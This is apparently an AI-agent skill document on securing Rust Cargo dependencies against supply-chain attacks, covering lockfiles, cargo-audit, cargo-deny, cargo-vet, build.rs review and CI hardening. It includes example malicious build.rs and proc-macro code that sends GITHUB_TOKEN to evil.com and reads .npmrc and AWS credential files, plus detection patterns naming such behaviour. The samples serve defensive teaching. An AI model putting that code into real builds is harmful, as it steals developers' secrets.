| name | supply-chain-secure-install |
| description | Use when adding, updating, or auditing Cargo dependencies. Provides supply chain attack countermeasures including Cargo.lock verification, cargo-audit, cargo-deny, cargo-vet, build.rs security, and CI/CD pipeline hardening. Adapted from Shai-Hulud npm attack lessons. |
| allowed-tools | Read, Write, Edit, Bash, Grep, Glob |
| user-invocable | true |
Supply Chain Secure Install (Cargo / crates.io)
This skill provides comprehensive defense-in-depth guidelines for safe dependency management with Cargo, adapted from lessons learned from the Shai-Hulud npm supply chain attacks (2025). Rust's Cargo has unique attack vectors (build scripts, proc macros) that deserve specific attention.
When to Apply
Apply these guidelines when:
- Adding new dependencies (
cargo add)
- Updating existing dependencies (
cargo update)
- Setting up CI/CD pipelines
- Auditing current project dependency security posture
- Reviewing pull requests that modify
Cargo.toml or Cargo.lock
Rust-Specific Attack Vectors
Cargo has its own equivalents of npm's lifecycle scripts:
| Attack Vector | npm Equivalent | Rust Equivalent | Runs When |
|---|
| Lifecycle scripts | preinstall/postinstall | build.rs (build scripts) | cargo build |
| None | None | Proc macros | cargo build (compile time) |
| Runtime imports | require() | use / dependency code | Runtime |
CRITICAL: Unlike npm, Rust build scripts (build.rs) execute arbitrary code during cargo build. This is the primary supply chain attack vector for Rust.
build.rs: Rust's Lifecycle Script Equivalent
fn main() {
let token = std::env::var("GITHUB_TOKEN").unwrap_or_default();
std::process::Command::new("curl")
.args(["https://evil.com/collect", "-d", &token])
.spawn();
let npmrc = std::fs::read_to_string(
dirs::home_dir().unwrap().join(".npmrc")
);
}
Proc Macros: Compile-Time Code Execution
#[proc_macro]
pub fn my_macro(input: TokenStream) -> TokenStream {
std::fs::read_to_string(std::env::var("HOME").unwrap() + "/.aws/credentials");
input
}
Cargo.lock Verification
Mandatory Practices
git add Cargo.lock
cargo build --locked
cargo test --locked
cargo update --dry-run
Lockfile Review in PRs
Review Cargo.lock changes carefully:
- Unexpected version bumps
- New transitive dependencies
- Changed checksum hashes
- New crates you did not add
cargo-audit (Vulnerability Scanning)
Setup and Usage
cargo install cargo-audit
cargo audit
- name: Security audit
run: cargo audit
Automated Auditing
- name: Install cargo-audit
run: cargo install cargo-audit
- name: Audit dependencies
run: cargo audit
cargo-deny (Comprehensive Policy Enforcement)
cargo-deny provides the most comprehensive dependency security for Rust:
Setup
cargo install cargo-deny
cargo deny init
deny.toml Configuration
[advisories]
vulnerability = "deny"
unmaintained = "warn"
yanked = "deny"
notice = "warn"
[licenses]
allow = ["MIT", "Apache-2.0", "BSD-2-Clause", "BSD-3-Clause", "ISC"]
unlicensed = "deny"
[bans]
multiple-versions = "warn"
wildcards = "deny"
deny = [
]
allow = []
[sources]
unknown-registry = "deny"
unknown-git = "deny"
allow-registry = ["https://github.com/rust-lang/crates.io-index"]
allow-git = []
Key cargo-deny Features
| Feature | Protection |
|---|
[advisories] | Known vulnerabilities (RustSec database) |
[licenses] | License compliance enforcement |
[bans] | Duplicate versions, specific crate bans |
[sources] | Registry restriction - blocks unknown registries/git sources |
The [sources] section is critical: it prevents dependencies from pulling code from arbitrary git repositories.
cargo-vet (Supply Chain Audit Trail)
cargo-vet maintains a cryptographic audit trail of dependency reviews:
cargo install cargo-vet
cargo vet init
cargo vet
cargo vet certify <crate> <version>
cargo vet trust --all mozilla
Benefits
- Tracks which dependencies have been reviewed
- Imports audit results from trusted organizations (Mozilla, Google, etc.)
- Detects when dependencies change and require re-review
build.rs Security
Auditing build.rs in Dependencies
find $(cargo metadata --format-version 1 | jq -r '.target_directory')/../.. \
-path "*/registry/src/*/build.rs" 2>/dev/null | head -30
grep -r "Command::new\|env::var\|fs::read\|reqwest\|ureq" \
$(cargo metadata --format-version 1 | jq -r '.target_directory')/../registry/src/ \
--include="build.rs" 2>/dev/null | head -30
Red Flags in build.rs
| Pattern | Risk |
|---|
Command::new("curl") or Command::new("wget") | Downloads external content |
Command::new("sh") or Command::new("bash") | Shell execution |
env::var("GITHUB_TOKEN") or similar | Credential access |
fs::read_to_string on home directory paths | Credential file reading |
TcpStream::connect or HTTP requests | Network exfiltration |
fs::remove_dir_all | Destructive operations |
Sandboxing Builds
unshare --net cargo build --locked
docker run --network=none -v $(pwd):/workspace rust:latest \
cargo build --locked --manifest-path /workspace/Cargo.toml
Pre-Install Dependency Review
Before cargo add <crate>:
cargo audit
cargo tree -p <crate>
cargo metadata --format-version 1 | jq '.packages[] | select(.name == "<crate>") | .targets[] | select(.kind[] == "custom-build")'
cargo metadata --format-version 1 | jq '.packages[] | select(.name == "<crate>") | .targets[] | select(.kind[] == "proc-macro")'
Red Flags
| Red Flag | Risk |
|---|
| Very few downloads | Potential typosquatting |
| Recent ownership change | Possible account takeover |
Contains build.rs | Arbitrary code at build time |
| Is a proc-macro crate | Arbitrary code at compile time |
| Excessive dependencies | Larger attack surface |
Uses unsafe extensively | Memory safety bypassed |
| No source repository linked | Cannot verify code |
CI/CD Pipeline Security
Secure Cargo Build in CI
jobs:
build:
runs-on: ubuntu-latest
permissions:
contents: read
timeout-minutes: 30
steps:
- uses: actions/checkout@<SHA>
with:
persist-credentials: false
- uses: dtolnay/rust-toolchain@<SHA>
with:
toolchain: stable
components: clippy
- name: Build
run: cargo build --locked
- name: Install cargo-audit
run: cargo install cargo-audit
- name: Audit
run: cargo audit
- name: Install cargo-deny
run: cargo install cargo-deny
- name: Deny check
run: cargo deny check
- name: Test
run: cargo test --locked
- name: Clippy
run: cargo clippy --locked -- -D warnings
Environment Variable Protection
steps:
- name: Build (no secrets needed)
run: cargo build --locked
- name: Deploy (needs secrets)
env:
DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}
run: cargo run --bin deploy
Periodic Audit Checklist
cargo audit
cargo deny check
cargo build --locked
cargo outdated
find $(cargo metadata --format-version 1 | jq -r '.target_directory')/../.. \
-path "*/registry/src/*/build.rs" -newer Cargo.lock 2>/dev/null
cargo vet
Emergency Response: Suspected Compromise
- Do NOT run
cargo build on the affected project (build.rs may execute)
- Check Cargo.lock for unexpected version changes
- Run
cargo audit offline if possible
- Review build.rs of suspected crates
- Pin to a known-good version in Cargo.toml with
= prefix
- Rotate credentials if build scripts may have executed
- Report to RustSec advisory database and crate maintainers
Post-Compromise Detection
grep -r "Command::new\|env::var\|home_dir\|reqwest\|ureq\|TcpStream" \
$(cargo metadata --format-version 1 | jq -r '.target_directory')/../registry/src/ \
--include="build.rs" 2>/dev/null
gh api repos/{owner}/{repo}/actions/runners --jq '.runners[] | {name, status}'
find .github/workflows -name "*.yml" -newer Cargo.toml
cargo tree --depth 1 | diff - <(git show HEAD:Cargo.lock | cargo tree --locked --depth 1)
References